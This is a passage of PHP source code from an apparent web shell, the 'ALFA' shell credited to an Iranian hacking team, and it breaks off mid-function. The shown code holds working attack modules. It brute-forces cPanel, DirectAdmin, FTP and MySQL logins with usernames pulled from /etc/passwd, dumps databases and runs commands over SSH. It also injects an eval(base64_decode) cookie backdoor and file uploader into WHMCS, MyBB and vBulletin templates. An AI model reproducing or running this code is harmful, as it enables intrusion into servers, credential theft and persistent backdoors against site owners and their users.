  2118. echo '</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\'importFileBtn\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\'settings\',null,null,null,null,null,null,null,\'export\',\'color\')" class="button"> Export </button></center></p>';
  2119. if($_POST['alfa7']=='export'){
  2120. echo __pre();
  2121. $colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();
  2122. $glob_colors = $GLOBALS["__ALFA_COLOR__"];
  2123. $array = array();
  2124. foreach($glob_colors as $k => $v){
  2125. if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
  2126. $v = trim($colors[$k]);
  2127. }else{
  2128. $v = trim(is_array($v)?$v["key_color"]:$v);
  2129. }
  2130. $array[$k] = $v;
  2131. }
  2132. $file = "alfa_color_config_".date('Y-m-d-h_i_s').".conf";
  2133. $config = json_encode($array, JSON_PRETTY_PRINT);
  2134. if(!@file_put_contents($file, $config)){
  2135. echo('<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">'.$config.'</textarea></center></p>');
  2136. }else{
  2137. echo('<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$file.'\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>');
  2138. }
  2139. }
  2140. if($_POST['alfa2']=='>>'){
  2141. echo __pre();
  2142. $colors = json_decode($_POST["alfa1"],true);
  2143. $array = "";
  2144. $is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false;
  2145. $glob_colors = $GLOBALS["__ALFA_COLOR__"];
  2146. foreach($glob_colors as $k => $v){
  2147. if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
  2148. $v = trim($colors[$k]);
  2149. }else{
  2150. $v = trim(is_array($v)?$v["key_color"]:$v);
  2151. }
  2152. $array .= '"'.trim($k).'" => "'.$v.'",';
  2153. }
  2154. @chdir($GLOBALS['home_cwd']);
  2155. $basename = @basename($_SERVER['PHP_SELF']);
  2156. $data = @file_get_contents($basename);
  2157. $color = '/\'color\'(.*?)\),/s';
  2158. if(preg_match($color,$data,$e)){
  2159. $new = "'color' => array(".$array."),";
  2160. $data = str_replace($e[0],$new,$data);
  2161. if(@file_put_contents($basename, $data)){
  2162. echo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");
  2163. }else{
  2164. echo("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");
  2165. }
  2166. }else{
  2167. echo("<center><p><h3>[-] Error...!</h3></p></center>");
  2168. }
  2169. }
  2170. }
  2171. echo('</div>');
  2172. alfafooter();
  2173. }
  2174. function alfaplus(){
  2175. alfahead();
  2176. echo '<div class="header"><center><p><div class="txtfont_header">| Alfa + |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'plus\',null,\'news\');">| News | </a><a href=javascript:void(0) onclick="g(\'plus\',null,\'tools\')">| Tools | </a><a href=javascript:void(0) onclick="g(\'plus\',null,\'about\')">| About Us | </a></h3></center>';
  2177. if($_POST['alfa1']=='news'||$_POST['alfa1']=='tools'){
  2178. try{
  2179. $s1 = 'http://solevisible.com/'.($_POST['alfa1']=='news'?'news.php':'tools.php');
  2180. $msg = "<center><font color='red'><b><p>Can`t Connect to Remote Server ...!<br>Please Try Again Later...!</p></b></font></center>";
  2181. $news = new AlfaCURL();
  2182. if($news->Send($s1)){
  2183. $xml = $news->Send($s1);
  2184. }else{
  2185. $xml = false;
  2186. }
  2187. if($xml){
  2188. if(@simplexml_load_string($xml)){
  2189. $doc = new DOMDocument;
  2190. $doc->loadXML($xml);
  2191. $data = $doc->getElementsByTagName('data')->item(0);
  2192. $items = $data->getElementsByTagName('item');
  2193. foreach($items as $item){
  2194. $title = $item->getElementsByTagName('title')->item(0)->nodeValue;
  2195. $description = $item->getElementsByTagName('description')->item(0)->nodeValue;
  2196. $link = $item->getElementsByTagName('link')->item(0)->nodeValue;
  2197. $pubDate = $item->getElementsByTagName('pubDate')->item(0)->nodeValue;
  2198. echo(__pre()."<center><a href='$link' target='_blank'>$title</a><br>$description<br><small><font color='#FFFFFF'><b>Date: $pubDate</b></font></small></center></pre>");
  2199. }
  2200. }else{
  2201. echo($msg);
  2202. }
  2203. }else{
  2204. echo($msg);
  2205. }
  2206. }catch(Exception $e){
  2207. echo $e->getMessage();
  2208. }}elseif($_POST['alfa1']=='about'){
  2209. echo __pre()."<pre><center><img src='http://solevisible.com/images/farvahar-iran.png'><br>
  2210. <b><font size='+3' color='#00A220'>&#9774; ~ PEACE ~ &#9774;</font><br><b>
  2211. <font color='#00A220'>Shell Coded By SUPERBONE X TEAM (ALFA TEaM)</font><br>
  2212. <font color='#00A220'>Contact : solevisible@gmail.com</font><br>
  2213. <font color='#00A220'>Telegram Channel: @solevisible</font><br>
  2214. <font color='#FFFFFF'>Skype : ehsan.invisible</font><br>
  2215. <font color='#FFFFFF'>Skype : sole.sad</font><br>
  2216. <font color='#FF0000'>Persian Gulf For Ever</font><br>
  2217. <font color='#FF0000'>Iranian Hackers :)</font><br>
  2218. <font color='#FF0000'>Our Friends : Mr.PERSIA , R3veC0der</font><br>
  2219. </center></pre><iframe src='tg://resolve?domain=solevisible' frameborder='0' width='0' height='0'></iframe>";
  2220. }
  2221. echo('</div>');
  2222. alfafooter();
  2223. }
  2224. function alfaDumper(){
  2225. alfahead();
  2226. echo('<div class="header">');
  2227. AlfaNum(8,9,10);
  2228. echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
  2229. $table = array('td1' =>
  2230. array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  2231. 'td2' =>
  2232. array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  2233. 'td3' =>
  2234. array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
  2235. 'td4' =>
  2236. array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  2237. 'td5' =>
  2238. array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']).'alfa.sql', 'inputSize' => '50')
  2239. );
  2240. create_table($table);
  2241. echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
  2242. $username = ($_POST['alfa3']);
  2243. $password = ($_POST['alfa4']);
  2244. $dbname = ($_POST['alfa5']);
  2245. $dfile = ($_POST['alfa6']);
  2246. $host = ($_POST['alfa7']);
  2247. if(!empty($dbname)){
  2248. echo __pre();
  2249. $msg = "<center>Check this : <font color='red'>".$dfile."</font></center>";
  2250. if(@mysqli_connect($host,$username,$password,$dbname)){
  2251. if(strlen(alfaEx("mysqldump"))>0){
  2252. alfaEx("mysqldump --single-transaction --host=\"$host\" --user=\"$username\" --password=\"$password\" $dbname > '".addslashes($dfile)."'");
  2253. echo($msg);
  2254. }else{
  2255. __alert("Error...!");
  2256. }
  2257. }else{
  2258. echo('<center>mysqli_connect : Error!</center>');
  2259. }
  2260. }
  2261. echo('</div>');
  2262. alfafooter();
  2263. }
  2264. function Alfa_DirectAdmin_Cracker($info){
  2265. if(!$info['mysql'])
  2266. $url = $info['protocol'].$info['target'].':'.$info['port'].'/CMD_LOGIN';
  2267. else $url = $info['protocol'].$info['target'].'/phpmyadmin';
  2268. $curl = curl_init();
  2269. curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
  2270. curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
  2271. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
  2272. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
  2273. curl_setopt($curl, CURLOPT_HEADER,0);
  2274. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  2275. curl_setopt($curl, CURLOPT_URL,$url);
  2276. curl_setopt($curl, CURLOPT_USERPWD, $info['username'].':'.$info['password']);
  2277. if($info['mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
  2278. $result = curl_exec($curl);
  2279. $curl_errno = curl_errno($curl);
  2280. $curl_error = curl_error($curl);
  2281. if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
  2282. elseif(preg_match('/CMD_FILE_MANAGER|frameset/i',$result)){
  2283. echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
  2284. $info['target'] = $url;
  2285. CrackerResualt($info);
  2286. }
  2287. curl_close($curl);
  2288. }
  2289. function Alfa_CP_Cracker($info){
  2290. $url = $info['protocol'].$info['target'].':'.$info['port'];
  2291. $curl = curl_init();
  2292. curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
  2293. curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
  2294. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
  2295. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
  2296. curl_setopt($curl, CURLOPT_HEADER,0);
  2297. curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
  2298. curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'].":".$info['password']) . "\n\r"));
  2299. curl_setopt($curl, CURLOPT_URL, $url);
  2300. $result = curl_exec($curl);
  2301. $curl_errno = curl_errno($curl);
  2302. $curl_error = curl_error($curl);
  2303. if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
  2304. elseif(preg_match('/filemanager/i',$result)){
  2305. echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
  2306. $info['target'] = $url;
  2307. CrackerResualt($info);
  2308. }
  2309. curl_close($curl);
  2310. }
  2311. function Alfa_FTP_Cracker($info){
  2312. $url = $info['protocol'].$info['target'];
  2313. $curl = curl_init();
  2314. curl_setopt($curl, CURLOPT_URL, $url);
  2315. curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
  2316. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  2317. curl_setopt($curl, CURLOPT_USERPWD, "".$info['username'].":".$info['password']."");
  2318. $result = curl_exec($curl);
  2319. $curl_errno = curl_errno($curl);
  2320. $curl_error = curl_error($curl);
  2321. if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
  2322. elseif(preg_match('/(\d+):(\d+)/i',$result)){
  2323. echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
  2324. $info['target'] = $url;
  2325. CrackerResualt($info);
  2326. }
  2327. curl_close($curl);
  2328. }
  2329. function Alfa_Mysql_Cracker($info){
  2330. if(@mysqli_connect($info['target'].':'.$info['port'],$info['username'],$info['password'])){
  2331. CrackerResualt($info);
  2332. echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
  2333. }
  2334. }
  2335. function Alfa_FTPC($info){
  2336. if($con=@ftp_connect($info['target'],$info['port'])){
  2337. if($con){
  2338. $login=@ftp_login($con,$info['username'],$info['password']);
  2339. if($login){CrackerResualt($info);}}}
  2340. @ftp_close($con);
  2341. }
  2342. function CrackerResualt($info){
  2343. $res = $info['target'].' => '.$info['username'].":".$info['password']."\n" ;
  2344. $c = @fopen($info['fcrack'],'a+');
  2345. @fwrite($c, $res);
  2346. @fclose($c);
  2347. }
  2348. function Alfa_Call_Function_Cracker($method,$info){
  2349. switch($method){case 'cp':return Alfa_CP_Cracker($info);break;case 'direct': case 'phpmyadmin':return Alfa_DirectAdmin_Cracker($info);break;case 'ftp':return Alfa_FTP_Cracker($info);break;case 'mysql':return Alfa_Mysql_Cracker($info);break;case 'mysql':return Alfa_FTPC($info);break;}
  2350. }
  2351. function alfaCrackers(){
  2352. alfahead();
  2353. AlfaNum(9,10);
  2354. echo '<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\'Crackers\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\'start\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">';
  2355. foreach(array('cp'=>'Cpanel','direct'=>'DirectAdmin','ftp'=>'FTP','phpmyadmin'=>'PhpMyAdmin[DirectAdmin]','mysql'=>'mysql_connect()','ftpc'=>'ftp_connect()') as $key=>$val)echo('<option value="'.$key.'">'.$val.'</option>');
  2356. echo '</select> Protocol: <select id="protocol" name="protocol">';
  2357. foreach(array('https://','http://','ftp://') as $val)echo('<option value="'.$val.'">'.$val.'</option>');
  2358. echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
  2359. Port: <input id="port" type="text" name="port" value="2083">
  2360. <table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
  2361. <textarea placeholder="Users" rows="20" cols="25" name="usernames">'.($GLOBALS['sys']=='unix'?alfaEx("cut -d: -f1 /etc/passwd"):"").'</textarea>
  2362. &nbsp <textarea placeholder="Passwords" rows="20"cols="25" name="passwords"></textarea><br><br>
  2363. Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
  2364. <p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
  2365. $target = str_replace(array('https://','http://','ftp://'),'',$_POST['alfa1']);
  2366. $port = $_POST['alfa2'];
  2367. $usernames= $_POST['alfa3'];
  2368. $passwords = $_POST['alfa4'];
  2369. $fcrack = $_POST['alfa5'];
  2370. $cracking = $_POST['alfa6'];$protocol = $_POST['alfa7'];
  2371. $loginpanel = $_POST['alfa8'];
  2372. $p = $loginpanel == 'phpmyadmin' ? $p = true : false;
  2373. if($cracking=='start'){
  2374. echo __pre();
  2375. $exuser = explode("\n",$usernames);
  2376. $expw = explode("\n",$passwords);
  2377. foreach($exuser as $user){
  2378. foreach($expw as $pw){
  2379. $array = array('username' => trim($user),'password' => trim($pw),'port' => trim($port),'target' => trim($target),'protocol' => trim($protocol),'fcrack' => trim($fcrack),'mysql' => $p);
  2380. Alfa_Call_Function_Cracker($loginpanel,$array);
  2381. }
  2382. }
  2383. echo '<br><font color="red">Attack Finished...</font>';
  2384. }
  2385. echo '</div>';
  2386. alfafooter();
  2387. }
  2388. function alfassh2(){
  2389. if(function_exists('ssh2_connect')){
  2390. $_SESSION['connected']= false;
  2391. $ssh_ip = $_POST['alfa1'];
  2392. $ssh_login = $_POST['alfa2'];
  2393. $ssh_pass = $_POST['alfa3'];
  2394. $ssh_port = $_POST['alfa4'];
  2395. $ssh_command = $_POST['alfa5'];
  2396. if($alfaconnect2ssh=@ssh2_connect($ssh_ip, $ssh_port))
  2397. {
  2398. if($alfalogin=@ssh2_auth_password($alfaconnect2ssh, $ssh_login, $ssh_pass))
  2399. {
  2400. $_SESSION['connected']= true;
  2401. }
  2402. }
  2403. if($_SESSION['connected']!== true){
  2404. alfahead();
  2405. echo "<div class=header>";
  2406. echo "<form name='ssh2' method='post' onsubmit='g(\"ssh2\",null,this.ssh_ip.value,this.ssh_login.value,this.ssh_pass.value,this.ssh_port.value); return false;'><table cellpadding='2' cellspacing='0'><tr><td><font color=\"#ffffff\"><b>IP</b></font></td><td><font color=\"#ffffff\"><b>SSH USER</b></font></td><td><font color=\"#ffffff\"><b>SSH PASS</b></font></td><td><font color=\"#ffffff\"><b>SSH PORT</b></font></td><td></td></tr><tr><td><input type=text name=ssh_ip value=''></td><td><input type=text name=ssh_login value=''></td><td><input type=text name=ssh_pass value=''></td><td><input type=text name=ssh_port value=''></td><td><input type='submit' name='submit' value=' '></td></table></form></div>";
  2407. alfafooter();
  2408. }
  2409. if($_SESSION['connected']==true){
  2410. alfahead();
  2411. echo "<div class=header>";
  2412. echo "<form name='ssh2' method='post' onsubmit='g(\"ssh2\",null,\"".$ssh_ip."\",\"".$ssh_login."\",\"".$ssh_pass."\",\"".$ssh_port."\",this.ssh_command.value,\">>\"); return false;'><table cellpadding='2' cellspacing='0'><tr><td><input type=text name=ssh_command value=''></td><td><input type='submit' name='execute' value=' '></td></table></form><form name='ssh2' method='post' onsubmit='g(\'ssh2\',null,\'\',\'\',\'\'); return false;'><input type=submit name='destsession' value='logout'></form>";
  2413. $alfastream = ssh2_exec($alfaconnect2ssh, $ssh_command);
  2414. stream_set_blocking($alfastream,true);
  2415. $output = ssh2_fetch_stream($alfastream,SSH2_STREAM_STDIO);
  2416. if($_POST['alfa6']=='>>'){
  2417. echo '<pre class=ml1>';
  2418. ob_start();
  2419. echo stream_get_contents($output);
  2420. echo htmlspecialchars(ob_get_clean());
  2421. }
  2422. echo "</div>";
  2423. alfafooter();
  2424. }}else{
  2425. alfahead();
  2426. echo '<div class=header><p><center><b><font color="red">Server does not support SSH2</font><p></b></center></div>';
  2427. alfafooter();
  2428. }
  2429. }
  2430. function output($string){ echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$string."'>Click Here !</a></font></b></center><br><br>";}
  2431. function alfaShellInjectors(){
  2432. alfahead();
  2433. echo '<div class=header>';
  2434. AlfaNum(11);
  2435. echo '<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,\'whmcs\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,\'mybb\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,null,\'vb\')">| vBulletin |</a></h3></center>';
  2436. $selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
  2437. if(isset($_POST['alfa1']) && $_POST['alfa1']== 'whmcs'){
  2438. AlfaNum();
  2439. echo __pre()."<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>".getConfigHtml('whmcs')."</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
  2440. $table = array('td1' =>
  2441. array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
  2442. 'td2' =>
  2443. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  2444. 'td3' =>
  2445. array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  2446. 'td4' =>
  2447. array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  2448. 'td5' =>
  2449. array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
  2450. );
  2451. create_table($table);
  2452. echo $selector;
  2453. echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
  2454. if(isset($_POST['alfa6'])) {
  2455. $dbu = $_POST['alfa6'];
  2456. $dbn = $_POST['alfa7'];
  2457. $dbp = $_POST['alfa8'];
  2458. $dbh = $_POST['alfa9'];
  2459. $path = $_POST['alfa10'];
  2460. $method = $_POST['alfa4'];
  2461. $index = "{php}".ALFA_UPLOADER.";{/php}";
  2462. $newin = str_replace("'","\'",$index);
  2463. $newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
  2464. if(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){
  2465. if(filter_var($path,FILTER_VALIDATE_URL)){
  2466. $conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
  2467. $soleSave= mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
  2468. $soleGet = mysqli_fetch_assoc($soleSave);
  2469. $tempSave1 = $soleGet['message'];
  2470. $tempSave = str_replace("'","\'",$tempSave1);
  2471. $inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'";
  2472. $result = mysqli_query($conn,$inject) or die (mysqli_error($conn));
  2473. $create = "insert into tblclients (email) values('solevisible@fbi.gov')";
  2474. $result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));
  2475. if(function_exists('curl_version') && $method == 'auto'){
  2476. $AlfaSole = new AlfaCURL(true);
  2477. $saveurl = $AlfaSole->Send($path."/pwreset.php");
  2478. $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
  2479. $AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
  2480. $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
  2481. $Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
  2482. __alert("shell injectet...");
  2483. $ff= 'http://'.$path."/solevisible.php";
  2484. output($ff);}else{
  2485. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='".$path."/pwreset.php' target='_blank'>".$path."/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color='#FFFFFF'>And Go To => </font><a href='".$path."/solevisible.php' target='_blank'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert('Path is not Valid...');}}}
  2486. }if(isset($_POST['alfa2']) && $_POST['alfa2']== 'mybb'){
  2487. AlfaNum(1,2,3,5);
  2488. echo __pre()."<p><div class='txtfont_header'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>
  2489. ";
  2490. $table = array('td1' =>
  2491. array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
  2492. 'td2' =>
  2493. array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'),
  2494. 'td3' =>
  2495. array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'),
  2496. 'td4' =>
  2497. array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'),
  2498. 'td5' =>
  2499. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50')
  2500. );
  2501. create_table($table);
  2502. echo $selector;
  2503. echo "<p><input type=submit value=' '></p></form></center></center>";
  2504. if(isset($_POST['alfa6'])) {
  2505. $dbu = $_POST['alfa6'];
  2506. $dbn = $_POST['alfa7'];
  2507. $dbp = $_POST['alfa8'];
  2508. $dbh = $_POST['alfa9'];
  2509. $prefix = $_POST['alfa10'];
  2510. $method = $_POST['alfa4'];
  2511. $shellCode = "{\${".ALFA_UPLOADER."}}";
  2512. $newinshell = str_replace("'","\'",$shellCode);
  2513. if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){
  2514. $conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
  2515. $inject = "select template from {$prefix}templates where title= 'calendar'";
  2516. $result = mysqli_query($conn, $inject) or die (mysqli_error($conn));
  2517. $GetTemp = mysqli_fetch_assoc($result);
  2518. $saveDate = $GetTemp['template'];
  2519. $repsave = str_replace($shellCode,"",$saveDate);
  2520. $repsave = str_replace("'","\'",$repsave);
  2521. $createShell = "update {$prefix}templates SET template= '".$newinshell.$repsave."' where title = 'calendar'";
  2522. $result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));
  2523. $geturl = "select value from {$prefix}settings where name= 'bburl'";
  2524. $findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));
  2525. $rowb = mysqli_fetch_assoc($findurl);
  2526. $furl = $rowb['value'];
  2527. $realurl = parse_url($furl,PHP_URL_HOST);
  2528. $realpath = parse_url($furl,PHP_URL_PATH);
  2529. $res = false;
  2530. $AlfaCurl = new AlfaCURL();
  2531. if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto' ){
  2532. if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
  2533. @fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\r\n");
  2534. @fputs($fsock, "HOST: $realurl\r\n");
  2535. @fputs($fsock, "Connection: close\r\n\r\n");
  2536. $check = fgets($fsock);
  2537. if(preg_match("/200 OK/i",$check)){
  2538. $repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'";
  2539. $clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}
  2540. @fclose($fsock);}}elseif(function_exists('curl_version') && $method == 'auto'){
  2541. $AlfaCurl->Send($realurl.$realpath."/calendar.php");
  2542. $res = true;
  2543. }
  2544. if($res){
  2545. $ff = 'http://'.$realurl.$realpath."/solevisible.php";
  2546. output($ff);
  2547. }else{
  2548. $ff = 'http://'.$realurl.$realpath."/calendar.php";
  2549. $fff = 'http://'.$realurl.$realpath."/solevisible.php";
  2550. echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color='#FFFFFF'>And Go To => </font><a href='".$fff."' target='_blank'>".$fff."</a></b></center><br><br>";
  2551. }}}}
  2552. if(isset($_POST['alfa3']) && $_POST['alfa3']== 'vb'){
  2553. AlfaNum(1,2,7,9,10);
  2554. echo __pre().'<p><div class="txtfont_header">| vbulletin |</div></p><p>'.getConfigHtml('vb').'</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
  2555. $table = array('td1' =>
  2556. array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
  2557. 'td2' =>
  2558. array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'),
  2559. 'td3' =>
  2560. array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'),
  2561. 'td4' =>
  2562. array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'),
  2563. 'td5' =>
  2564. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50')
  2565. );
  2566. create_table($table);
  2567. echo $selector;
  2568. echo '<p><input type="submit" value=" " /></p></form></center>';
  2569. if(isset($_POST['alfa4'])&&!empty($_POST['alfa4'])){
  2570. $method = $_POST['alfa8'];
  2571. $code = "{\${".ALFA_UPLOADER."}}{\${exit()}}&";
  2572. $conn=@mysqli_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5'],$_POST['alfa7']) or die(@mysqli_error($conn));
  2573. $rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='faq'";
  2574. $recivedata = @mysqli_query($conn,$rec);
  2575. $getd = @mysqli_fetch_assoc($recivedata);
  2576. $savetoass = $getd['template'];
  2577. $code = str_replace("'","\'",$code);
  2578. $p = "UPDATE ".$_POST['alfa6']."template SET `template`='".$code."' WHERE `title`='faq'";
  2579. $ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));
  2580. $geturl = @mysqli_query($conn,"select `value` from ".$_POST['alfa6']."setting WHERE `varname`='bburl'");
  2581. $getval = @mysqli_fetch_assoc($geturl);
  2582. $saveval = $getval['value'];
  2583. $realurl = parse_url($saveval,PHP_URL_HOST);
  2584. $realpath = parse_url($saveval,PHP_URL_PATH);
  2585. $res = false;
  2586. $AlfaCurl = new AlfaCURL();
